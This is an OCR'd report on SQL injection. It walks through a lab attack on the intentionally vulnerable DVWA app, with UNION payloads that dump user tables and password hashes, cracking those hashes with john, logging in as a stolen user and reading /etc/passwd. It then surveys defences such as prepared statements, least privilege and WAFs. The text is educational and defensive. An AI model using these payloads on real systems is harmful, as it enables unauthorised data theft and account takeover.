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Introduction

Businesses today have web applications facing the public providing seamless services to users
across the internet at large exposing them to the risk of SQL Injection Attacks (SQLIA), where
threat actors inject malicious SQL code through URLs or web forms to gain unauthorised access,
and manipulate data, or retrieve sensitive information. Such attacks have severe consequences,
including damage to user experience, organizational reputation, and potential legal penalties
under data protection regulations like GDPR. SQL Injection (SQL1) is a significant threat that
enables unauthorised data extraction, modification, the authentication bypass, remote command
execution, and vulnerability identification E-commerce databases are particularly vulnerable,
allowing attackers to extract customer data and manipulate security measures. Despite preventive
measures, SQLIA remain a prominent concern, ranking third among OWASP's top ten web

application vulnerabilities.
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SQL Injection Step-by-step Guide

Step one: Reconnaissance
kali@kali: ~

File Actions Edit View Help

valid_1ft forever preferred_lft forever
<BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:70:4a:99 brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global dynamic noprefixroute eth@
valid_1ft 1545sec preferred_lft 1545sec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_lft forever

— 192.168.131.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-21 15:44 EDT
Nmap scan report for 192.168.131.129
Host is up (0.0023s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2

/ open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

open  rpcuind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.5l1a-3ubuntud
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
55 tcpopen—vnc VNC—{protocot 3)
6000/tcp open X11 (access denied)
6667/tcp open 1irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux
:linux_kernel

Nmap scan report for 192.168.131.130

Host is up (0.0023s latency).

All 1000 scanned ports on 192.168.131.130 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Scanning the subnet to discover host and service with nmap.

Reconnaissance is important to gather useful information about the target system, in this case
nmap was used with the version flag. Host was discovered on 192.168.131.129 with different
services running with open ports and looking closely we can spot two database services running
on port 3306 (mysql) and port 5432 (postgresql) which might be the area of interest for SQL1,
while vulnerabilities could quickly be checked for using tools like SOLMap and msfconsole, but

let’s go check what’s is running on their web front since we find a webserver running on port 80.



Login to the Webserver

Metasploitable2 - Linux ar

<« C @ O A& 192.168.131.129

Kali Linux #8 KaliTools < KaliDocs X Kali Forums o\ Kali NetHunter

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[atlmetasploit.com

Login with msfadmin/msfadmin to get started

o TWiki
e phpMyAdmin
» Mutillidae
« DVWA
*« We

Landing page of webserver

We find the Damn Vulnerable Web Application (DVWA)

Damn Vulnerable Web App (I X +

<« C @ O A& 192.168.131.129

Kali Linux # KaliTools < KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Username

Password

| Login |

DVWA login page.

We proceed to login and commence exercise.
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. Welcome to Damn Vulnerable Web App!

Instructions | Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are
to be an aid for security professionals to test their skills and tools in a legal environment, help web developers

Setup | better understand the processes of securing web applications and aid teachers/students to teach/learn web
application security in a class room environment.

Brute Force | WARNING!

Com HExson | Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or

CSRF | any internet facing web server as it will be compromised. We recommend downloading and installing

onto a local machine inside your LAN which is used solely for testing.
File Inclusion . .

Disclaimer
SQL Injection

SQL Injection (Blind) We do not take responsibility for the way in which any one uses this application. We have made the purposes of

the application clear and it should not be used maliciously. We have given warnings and taken measures to

Upload | prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation
of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.
XSS reflected | = " )
eneral Instructions
XSS stored |

The help button allows you to view hits/tips for each vulnerability and for each security level on their respective
DVWA Security [ page.

PHP Info |
About |

You have logged in as 'admin’

Logout |

Username: admin

Security Level: hig} g | Change this setting to low.

PHPIDS: disabled

DVWA settings.

To explain the SQLi principle we get into DVWA security and start with low and walk up by
exploiting any found vulnerabilities by testing several payloads.



Web Form

O A o+ 192.168.131.129

liDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

D\WR)

Home Vulnerability: SQL Injection

Instructions User ID:

\ Submit |

Command Execution More info

File Inclusion

| SQUinjection |
SQL Injection (Blind)

Upload

XSS reflected
XSS stored

DVWA Security
PHP Info

About

Logout
Username: admin View Source | View Help

Security Level: low
PHPIDS: disabled

Web form.

Here we are served with a web form where a user can supply input data, which is an ‘id’ to the
web application.



SQL injection

SQL Injection Source

<?php

if(isset($ GET['Submit'])){

$id = $ GET['id'];

$getid = "SELECT first _name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query(sgetid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);
$1=0;
while ($i < $num) {

$first = mysql_result(S$result,$i,"first name");
$last = mysql_result($result,si,"last name");

echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;

echo '</pre>';

$i++;

Web Application source code (DVWA).

Looking at the source code, we can see the query syntax as the § Get command attempts to
retrieve ‘id’ from the URL parameter and store in a variable ‘$id’. SQL query to retrieve the
first name and last name columns from a table named "users" where the user id matches the
provided $id value. The mysql query() function executes the query. If the variable ‘i’ is less that
the number of rows returned from the query, the form output the result of the query showing the
first name and last_name of each row.

Knowing how this work we would try exploiting the URL parameter and the form by injecting
malicious input.
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Home | Vulnerability: SQL Injection

Instructions |
Setup |

User ID:

\ | submit |

Brute Force D: 1
First name: admin

Surname: admin

Command Execution
CSRF

|
|
|
File Inclusion | ]
| | More info
|
|
|
|

SQL Injection (Blind)
Upload

XSS reflected

XSS stored

DVWA Security |

PHP Info |
About |

Logout |

Userngme: admin View Source | View Help |
Security Level: low
PHPIDS: disabled

Injection test.

Inserting ‘1’ into the input form, we get an output displaying the expected data as shown on by

the source code.

<div class="body padded">
<hl>Vulnerability: SQL Injection</hl>

<div class="vulnerable code area">
<h3>User ID:</h3>
<form action="#" method="GET">
<input type="text" name="id">
<input type="submit" name="Submit" value="Submit">
</form>

<pre>ID: 1l<br>First name: admin<br>Surname: admin</pre>

</div>

Page inspection.

Inspecting the page shows the method used, and that user inputs are required.



Q' 192.168.131.129/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#

i @ http://192.168.131.129/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit# — Visit

Force browsing via URL.
Let’s try to manipulate the URL parameters to see if there is possible forced browsing by trying

an ‘id’ = ‘2’

O A& 192.168.131.129

s  KaliDocs ¥ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

D\GA)

Home | Vulnerability: SQL Injection
Instructions | User ID:
Setup |
\ | [ submit |

EipielEoice | ID: 2
Command Bxecuton | | £ir2! e corer
CSRF |

1

Figure 4.4.5 Injection test output.
We successfully get an output thus showing that the code is vulnerable, we delve further to get

more record from the database by manipulating input.

We can tell that the query executed follows the SQL format of:

first_name, last_name user_id = 2’;

From the earlier PHP code on fig 4.4.1 we know that the output of First name = first name and

Surname = last name



O A& 192.168.131.129

cs N Kali Forums e\ Kali NetHunter Exploit-DB

Google Hacking DB OffSec

iR

Home
Instructions

Setup

Brute Force

Command Execution
CSRF
SQuimection |
SQL Injection (Blind)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info

About

Logout

Username: admin

Always true injection.

Vulnerability: SQL Injection

User ID:

[Tor1=1-- | (Submit |

ID: 1" orl1=1-- -
First name: admin
Surname: admin

ID: 1'orl=1-- -
First name: Gordon
Surname: Brown

1) alt Gyp al ooal oo <
First name: Hack
Surname: Me

ID: 1" orl1=1-- -
First name: Pablo
Surname: Picasso

ID: 1'or1=1-- -
First name: Bob
Surname: Smith

More info

View Source | View Help |

Here we try an always true injection for the ‘id” by supplying any input (in this case we use ‘1)
concatenated with “OR ‘1 = 1” with an SQL comment ‘ -- -" technique, which will return data

further confirming that the web application is vulnerable to SQLi.



O A& 192.168.131.129

s < KaliDocs N KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

D\iA)

Home | Vulnerability: SQL Injection
Instructions l User ID:
Setup |
|1 ORDER BY 2# || submit |
Brute Force

ID: 1' ORDER BY 2#

First name: admin

Command Execution
Surname: admin

CSRF

|
|
|
| File Inclusion } More info
{
|
|

SQL Injection (Blind)
Upload
XSS reflected

XSS stored

DVWA Security ]
PHP Info |
About |

Logout ]

s ST View Source | View Help |
Security Level: low

PHPIDS: disabled

Field check

192.168.131.129/dvwa/vulner X € Damn Vulnerable Web

< C @ O & 192168.131.129

KaliLinux # KaliTools « KaliDocs ¥ Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB OffSec

Unknown column '3' in 'order clause’

Field check error.

To get the number of field present in the database query we attempt to append _
testing for ‘1’ and then ‘2’ the query and we get an output, but on trying for a ‘3’ field, we are hit

with error.

This confirms that only two fields are present in each query, which will be helpful for certain

_ queries. A hash value ‘#’ can also be use in place of SQL comment * -- -’.
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O A& 192.168.131.129

» KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

—~
D\{A)

o | Vulnerability: SQL Injection
Instructions | User ID:
Setup | ' —
~or 1 =1 UNION SELECT 1, | Submit] <—NES RS A WIS
Brute Force ID: *' or 1 =1 UNION SELECT 1, VERSION()#

ST E TR T First name: admin

CSRF

Surname: admin

|

|

| ID: *' or 1 =1 UNION SELECT 1, VERSION()#
File Inclusion I First name: Gordon
l [ Surname: Brown

|

|

|

|

ID: *' or 1 =1 UNION SELECT 1, VERSION()#
First name: Hack

SQL Injection (Blind)

Surname: Me

Upload
XSS reflected ID: *' or 1 =1 UNION SELECT 1, VERSION()#
First name: Pablo
XSS stored Surname: Picasso
ID: *' or 1 =1 UNION SELECT 1, VERSION()#
DVWA Security | First name: Bob
Surname: Smith
PHP Info |
About | ID: *' or l =1 UNION SELECT 1, VERSION()#
Fumame: 5.0,51a~3ubuntu5| 3306/tcp open mysql MySQL 5.0.51a-3ubunt
Logout |

Retrieving MySQL version.

Using the [{EIISIIEIENESIN tcchnique to obtain additional information, we can add the MySQL
BEEEIE unction to our query with the assumption of retrieving the database version. If
successful, we can compare it with the nmap output to confirm the version. This time instead of
using a ‘1’ a try using special character as an invalid input ‘*’ and still got results which is

because the True injection still works.

11



O A 192.168.131.129

s « KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

ow)

Home | Vulnerability: SQL Injection

Instructions |

User ID:
Setup |

\ [ Submit

Brute Force ID: *' OR 1=1 UNION SELECT 1,DATABASE() #

First name: admin
Surname: admin

Command Execution

CSRF

|

|

| ID: *' OR 1=1 UNION SELECT 1,DATABASE() #
File Inclusion | First name: Gordon
| | Surname: Brown

|

|

|

|

ID: *' OR 1=1 UNION SELECT 1,DATABASE() #
SQL Injection (Blind) First name: Hack
Upload Surname: Me
XSS reflected ID: *' OR 1=1 UNION SELECT 1,DATABASE() #
First name: Pablo
XSS stored Surname: Picasso

ID: *' OR 1=1 UNION SELECT 1,DATABASE() #
DVWA Security | First name: Bob
| Surname: Smith

PHP Info

ID: *' OR 1=1 UNION SELECT 1,DATABASE() #
About | Eirst pname: 1

|Surname: dvwa I
Logout |

Database name retrieval.

This time, we append the “BININSUGEE function to our query, and we successfully retrieve the

database name 'dvwa'. This information will be useful for further queries and operations.

O A 192168.131.129

pcs N Kali Forums - X Kali NetHunter OffSec

Exploit-DB % Google Hacking DB

=
D\@A)
e Vulnerability: SQL Injection

Instructions
Setup

1,table_name information_schema.tables table_type='base table' table_schema='dvwa' #}

‘Submit

Brute Force ID: *' OR 1=1 UNION SELECT 1,table name FROM information schema.tables WHERE taljle type='base table' AND table schema='dvwa' #
‘Command Execution First name: admin
= Surname: admin
CSRF

ID: *' OR 1=1 UNION SELECT 1,table name FROM information schema.tables WHERE taljle type='base table' AND table schema='dvwa' #
File Inclusion First name: Gordon

ID: *' OR 1=1 UNION SELECT 1,table name FROM information schema.tables WHERE taljle type='base table' AND table schema='dvwa' #
SralE ) First name: Hack
Upload Surname: Me
XSS reflected ID: *' OR 1=1 UNION SELECT 1,table name FROM information schema.tables WHERE taljle type='base table' AND table schema='dvwa' #

First name: Pablo
XSS stored Surname: Picasso

ID: *' OR 1=1 UNION SELECT 1,table name FROM information schema.tables WHERE taljle type='base table' AND table schema='dvwa' #

DVWA Security First name: Bob
— Surname: Smith

ID: *' OR 1=1 UNION SELECT 1,table name FROM information schema.tables WHERE taljle type='base table' AND table schema='dvwa' #

About First name: 1
Surname: guestbook
ogouwr | ID: *' OR 1=1 UNION SELECT 1,table name FROM information_schema.tables WHERE taljle_type='base table' AND table schema='dvwa' #

First name: 1
Surname: users

More info

Database name retrieval.
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This query filters a bunch of not useful output by inputting the targeted table ‘dvwa’ now we

have a definite target table ‘users’.

O A 192168131129,

cs N Kali Forums o\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

o)

e Vulnerability: SQL Injection
1,table_name information_schema.tables table_type='base table' table_schema='dvwa' #}
Setup
Submit

EEhos) ID: *' OR 1=1 UNION SELECT 1, column_name FROM information schema.columns WHERE {able name='users' #
Command Execution First name: admin

Surname: admin
CSRF
e ID: *' OR 1=1 UNION SELECT 1, column_name FROM information_schema.columns WHERE {able name='users' #
File Inclusion First name: Gordon

ID: *' OR 1=1 UNION SELECT 1, column_name FROM information_schema.columns WHERE {able name='users' #
SeSinisction|(Blind) First name: Hack
Upload Surname: Me
XSS reflected ID: *' OR 1=1 UNION SELECT 1, column_name FROM information_schema.columns WHERE {able name='users' #

First name: Pablo
XSS stored Surname: Picasso
ID: *' OR 1=1 UNION SELECT 1, column_name FROM information_schema.columns WHERE fable name='users' #
DVWA Security First name: Bob

Surname: Smith
PHP Info

ID: *' OR 1=1 UNION SELECT 1, column_name FROM information_schema.columns WHERE fable name='users' #
[z First name: 1

Surname: user_id

M ID: *' OR 1=1 UNION SELECT 1, column name FROM information schema.columns WHERE {able name='users' #

First name: 1
Surname: first name

ID: *' OR 1=1 UNION SELECT 1, column_name FROM information_ schema.columns WHERE fable name='users' #
First name: 1
Surname: last_name

ID: *' OR 1=1 UNION SELECT 1, column_name FROM information schema.columns WHERE fable name='users' #
First name: 1
Surname: user

ID: *' OR 1=1 UNION SELECT 1, column_name FROM information_schema.columns WHERE fable name='users' #
First name: 1
Surname: password

ID: *' OR 1=1 UNION SELECT 1, column_name FROM information_ schema.columns WHERE fable name='users' #
First name: 1
Surname: avatar

Getting columns from the table.

Here we retrieve the names of every column present in the database table users’ and interestingly
we have the column that somewhat signifies username ‘user’ and password ‘password’ which is

of utmost interest.

13



Home
Instructions
Setup

Brute Force

Command Execution
CSRF

File Inclusion
SQUinjection |
SQL Injection (Blind)

Login hash

VUTTETADTITY . SWYL MJECUOTT

User ID:

R
\ ‘ ['submit |

ID: 1' OR 1=1 UNION SELECT user
First name: admin
Surname: admin

password

ID: 1' OR 1=1 UNION SELECT user
First name: Gordon
Surname: Brown

password

ID: 1' OR 1=1 UNION SELECT user
First name: Hack
Surname: Me

password

ID: 1' OR 1=1 UNION SELECT user
First name: Pablo
Surname: Picasso

password

ID: 1' OR 1=1 UNION SELECT user
First name: Bob
Surname: Smith

password

ID: 1' OR 1=1 UNION SELECT user
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

password

ID: 1' OR 1=1 UNION SELECT user, password
First name: gordonb
Surname: e99a18c428ch38d5f260853678922e03

ID: 1' OR 1=1 UNION SELECT user, password
First name: 133
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' OR 1=1 UNION SELECT user, password
First name: pablo
Surname: 0d107de9f5bbed0cade3de5c71e9e9b7

ID: 1' OR 1=1 UNION SELECT user, password
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

(0] ser, passwo user: E

FROM

FROM

FROM

FROM

FROM

FROM

FROM

FROM

FROM

FROM

Things begin to get interesting as with the query

‘password’ which indicate further compromise.

14

users -- -

users -- -

users -- -

users -- -

users -- -

users -- -

users -- -

users -- -

users -- -

users -- -

we have retrieved login details ‘user’ and



ow)

Home Vulnerability: SQL Injection
% User ID: | user, password users -- -

Setup

Submit |

Brute Force ID: ' UNION SELECT user, password FROM users --
First name: admin
Command Exeetition Surname: 5f4dcc3b5aa765d61d8327deb882c o9
CSRF
ID: ' UNION SELECT user, password FROM users --
File Inclusion First name: gordonb
l:] Surname: e99a18c428cb38d5f260853678922e03
ID: ' UNION SELECT user, password FROM users -- -
SQL Injection (Blind) First name: 133
Upload Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
XSS reflected ID: ' UNION SELECT user, password FROM users -- -
First name: pablo
XSS stored Surname: 0d107d09f5bbed40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users -- -

DVWA Security First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
PHP Info

About

More info
Logout

Username: admin View Source | View Helo |

Logins
Streamlining the payload, we have just the user and hashed passwords, and it’s time to crack
them.

kali@kali: ~

Fi

surname e hashes

Cracking with john.

15



kali@kali: ~

File Actions Edit View Help

john hashes
stat: john: No such file or directory

hashes
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider ——fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst

(2)

in
Proceeding with incremental:ASCII
C y (?)
5g 0:00:00:00 DONE 3/3 (2023-05-21 20:56) 6.172g/s 219948p/s 219948c/s 220896C/s stevyl3..chertsu
Use the "--show --format=Raw-MD options to display all of the cracked passwords reliably
Session completed.

Cracking with john.

Since the password hashes for the web application have been successfully cracked, you can now
attempt to log in as the user "gordonb" with the password "abc123," just as you already know for
the admin being password.

O A& o- 192.168.131.129

Docs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

DR

I Welcome to Damn Vulnerable Web App!

Instructions Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are
to be an aid for security professionals to test their skills and tools in a legal environment, help web developers
Setup better understand the processes of securing web applications and aid teachers/students to teach/learn web

application security in a class room environment.

Brute Force WARNING!
MJ Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or
CSRF any internet facing web server as it will be compromised. We recommend downloading and installing
onto a local machine inside your LAN which is used solely for testing.
File Inclusion . .
Disclaimer
SQL Injection

We do not take responsibility for the way in which any one uses this application. We have made the purposes of
SQL Injection (Blin
QL Inj (Bilnd) ‘ the app on clear and it should not be used maliciously. We have given warnings and taken measures to

Upload prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation
of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.
XSS reflected

T General Instructions

The help button allows you to view hits/tips for each vulnerability and for each security level on their respective

DVWA Security page.
PHP Info

About

Logout

You have logged in as 'gordonb’

Username: gordonb
Security Level: low
PHPIDS: disabled

Login as a user gotten from the database.

16



Now we have successfully logged in as user “gordonb” impersonating Gordon Brown from the

data stolen from the database.

O A& 192.168.131.129

cs N Kali Forums o\ Kali NetHunter Exploit-DB Google Hacking DB OffSec
cldl V

User ID: i etc/passwd

[ | ('Submit
Brute Force ID: ' UNION SELECT 1, LOAD FILE('/etc/passwd') -- -
T First name: 1
Com Exacution Surname: root:x:0:0:root:/root:/bin/bash
CSRF daemon: :daemon: /usr/sbin:/bin/sh
bin:x:2 in:/bin:/bin/sh
File Inclusion sys:x:3:3:sys:/dev:/bin/sh
:} sync:x:4:65534:sync:/bin:/bin/sync
:x:5:60:games:/usr/games:/bin/sh
SQL Injecti Ji :6: man:/var/cache/man:/bin/sh
njection(Eiind) 3 1p:/var/spool/lpd:/bin/sh
Upload mail

mail:/var/mail:/bin/sh
news: :9:news:/var/spool/news:/bin/sh
XSS reflected uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:1 :proxy:/bin:/bin/sh
% www-data: :33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh

Secul list:x:38:38:Mailing List Manager:/var/list:/bin/sh
DR iy} irc:x:39:39:ircd:/var/run/ircd:/bin/sh

PHP Info gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody: x:65534:65534 :nobody: /nonexistent: /bin/sh
About libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false

syslog:x:102:103: : /home/syslog:/bin/false
Logout klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534: :/var/run/sshd: /usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin, ,, : /home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001: just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd: /bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false

Quick test (Very vulnerable)

One quick trial to see if we have access to any system file by directory traversal, and this shows

success, we could use usernames with some script engine to brute force into the system.
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SQL Injection Attack Mitigation Strategies
Secure Implementation

Prepared Statements and Input Validation

Study by Ahmed and Uddin (2020) carried out SQLi against eleven organisation’s web
application and successfully penetrated three, the researcher’s emphasis developer’s requirement
to specify the SQL code before passing individual parameters to parameterized queries. This
approach enables the database to distinguish code and data, despite the user input supplied.
Prepared statements guarantee that the intention of a query cannot be altered by an attacker, even

if they attempt to insert SQL commands.

// This should REALLY be validated too

String custname = request.getParameter("customerName") ;

// Perform input validation to detect attacks

String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);

ResultSet results = pstmt.executeQuery( );

Prepared statement in java (TechTarget, 2022).

Parameterised queries ensure the proper distinction between queries and data, while input
validation and sanitisation verify user-supplied data and filter special characters. Data
encryption, and least privilege principles help mitigate the impact of successful SQLIA by

limiting access to sensitive information.

String tableName;

switch(PARAM) :
case "Valuel": tableName = "fooTable";
break;
case "Value2": tableName = "barTable";
break;
default : throw new InputValidationException("unexpected value provided"

+ for table name");

Input Validation implementation in java
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Escape Sequence

A technique that relies on escaping string and URL parameters to prevent SQLIA. URL
parameters and user input columns were identified and grouped based on their query types by
some researchers. The vulnerability arises from querying the database without any prior user
query validation or input filtering. To address this, the study implemented handling solutions
using regular expressions, prepared statements, and MySQL escape string techniques. The
improved application system with these solutions was tested, confirming its security and

resistance to SQLi.

Sstmt = Spdo->prepare('SELECT * FROM employees WHERE name = :name');
Sstmt->execute(array('name’ => Sname));
foreach (Sstmt as Srow) {

// do something with Srow

}

Escape sequence using PDO in MySQL

As a last resort when other preventive measures are not feasible, escaping user input before using
it in a query is recommended. It may not fully prevent SQL injection in all cases, but by
following proper escape procedures for the specific database, it helps differentiate user input

from developer-written SQL code, reducing the risk of SQLIA.

Secure Coding

A secure coding approach enables developers to prevent SQLIA and enhance security in
business applications. Some research primarily focused on sanitising queries by tokenising users’
input, the tokenised strings are then compared with a stored dictionary, which output a possible
attempt at the injection or safe query. The algorithm generated for the work was tested with input

data revealing high accuracy detection with minimal false positives.

Least Privilege Principle

To enhance the security of your database, it is recommended to implement the principle of Least
Privilege in conjunction with primary defenses to strengthen database security. Although SQL
injection poses a significant threat, parameter manipulation can also result in unauthorised data
access even by authorised application access. Minimising application privileges helps to mitigate

the risk of such unauthorised access attempts. It is crucial to restrict privileges for each database
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account and refrain from granting admin-level access to application accounts. Granting excessive

privileges for the sake of convenience can expose the system to substantial risks.

Stored Procedures
Stored procedures can provide protection against SQL injection, although they are not entirely

foolproof. In most stored procedure languages, developers build SQL statements with
parameters, which are automatically handled as parameterized queries. The key difference is that

stored procedures store the SQL code within the database and are called from the application.

// This should REALLY be validated
String custname = request.getParameter("customerName"),;
try {

CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}")

cs.setString(1, custname);

ResultSet results = cs.executeQuery();

. result set handling
} catch (SQLException se) {
/.. 1logging and error handling

Figure 5.1.5.1 Stored procedures in java (TechTarget, 2022).

Penetration Testing and Patching

To stay ahead of evolving threats and prevent the injection of malicious data into SQL databases,
the importance of active penetration testing is paramount. This approach allows organizations to
proactively identify vulnerabilities and mitigate potential risks. Some researchers developed
VulnScan, an advanced web vulnerability scanner that utilizes a combination of techniques to
bypass detection and prevention systems like WAF. The scanner generates payloads using an
algorithm and outperformed the OWASP ZAP tool by identifying twice as many SQLi
vulnerabilities in a test against a vulnerable web application. Identifying and addressing

vulnerabilities in webservers is an effective strategy for enhancing overall security.

5.2  Machine Learning Solutions

According to Tripathy, Gohil and Halabi (2020), it can be said that intrusion detection systems
operate based on predefined rules, which enables the circumvention by attackers which makes

Artificial Intelligence (AI) superior as they are probabilistic utilising statistical models. Al,
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encompassing Machine Learning (ML) and Deep Learning (DL), has gained significant traction
in cybersecurity domains. In contrast to conventional signature-based and rule-based
cybersecurity strategies, Al-driven approaches offer enhanced efficiency and advanced

capabilities for detecting and defending against cyber-attacks and threats

Several research works have demonstrated the use of ML for SQLIA detection and prevention,
Sivasangari, Jyotsna, and Pravalika (2021) employed the AdaBoost algorithm to train a model
for SQLIA detection. The dataset was categorized into weak and strong stumps, and the model
was evaluated based on input validation. AdaBoost outperformed other classification algorithms,

achieving a precision and accuracy of 0.97% in predicting injection attacks.

Web Application Firewall

Harefa et al. (2021) proposed a server-side WAF architecture called SEA WAF to protect against
various types of SQLIA in e-commerce solutions. The SEA WAF outperformed Cloudflare and
Barikode by effectively detecting and mitigating all attack types, while Cloudflare only defended

against a subset of attacks.

Mukhtar and Azer (2020) conducted research demonstrating the effectiveness of deploying a
WAF in preventing and mitigating SQLIA. WAFs act as intermediary reverse proxies,
intercepting and filtering requests to identify and block malicious SQL injection attempts. The
researchers observed a significant reduction in injectable vulnerabilities after deploying the Mod

Security WAF in an Apache webserver, even during aggressive injection testing with SQLMap.
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